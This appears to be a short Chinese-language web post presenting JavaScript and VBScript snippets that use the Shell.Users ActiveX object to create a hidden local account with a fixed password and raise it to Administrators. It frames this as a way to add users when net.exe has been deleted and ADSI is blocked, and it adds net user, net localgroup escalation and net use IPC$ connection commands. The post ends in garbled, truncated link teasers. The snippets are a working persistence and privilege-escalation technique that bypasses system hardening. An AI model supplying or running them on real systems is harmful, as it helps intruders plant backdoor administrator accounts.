不过加用户的话，这一个 Shell.Users就足够了。那么可能在删掉了net.exe和不用adsi之外，这也可能是一种新的加用户的方法。代码如下：

js:

var o=new ActiveXObject( "Shell.Users" ); 
z=o.create("test") ; 
z.changePassword("123456","") 
z.setting("AccountType")=3; 

vbs:

Set o=CreateObject( "Shell.Users" ) 
Set z=o.create("test") 
z.changePassword "123456","" 
z.setting("AccountType")=3 

权限等级

0:"Guests"
1:"Users"
2:"Power Users"
3:"Administrators"

以前大家都是用net user 命令来添加账户
通过 net localgroup /add administrators abc 将abc 添加到administrators 用户组中,实现普通用户到管理员用户的提升。更多可以参考积木网的文章。

NET USER 命令详解(dos下添加用户)
Netuser添加或修改用户帐户或者显示用户帐户信息。语法netuser[UserName[Password|*][options]][/domain]netuser[UserName{Password|*}/add[options][/domain]]netuser[UserName[/delete][/do

NET LOCALGROUP命令详解(将用户添加到管理员组等)
netuser/addabc*************/comment:"对此用户的描述"/expires:nevernetlocalgroup/addadministratorsabc将abc添加到administrators用户组中NETLOCALGROUP[groupname[/COMMENT:"text"]][/DOMAIN]gr

net use 命令集合详解()
netuse\ipipc$""/user:""建立IPC空链接netuse\ipipc$"密码"/user:"用户名"建立IPC非空链接netuseh:\ipc$"密码"/user:"用户名"直接登陆后映射对方C：到本地为H:netuseh:\i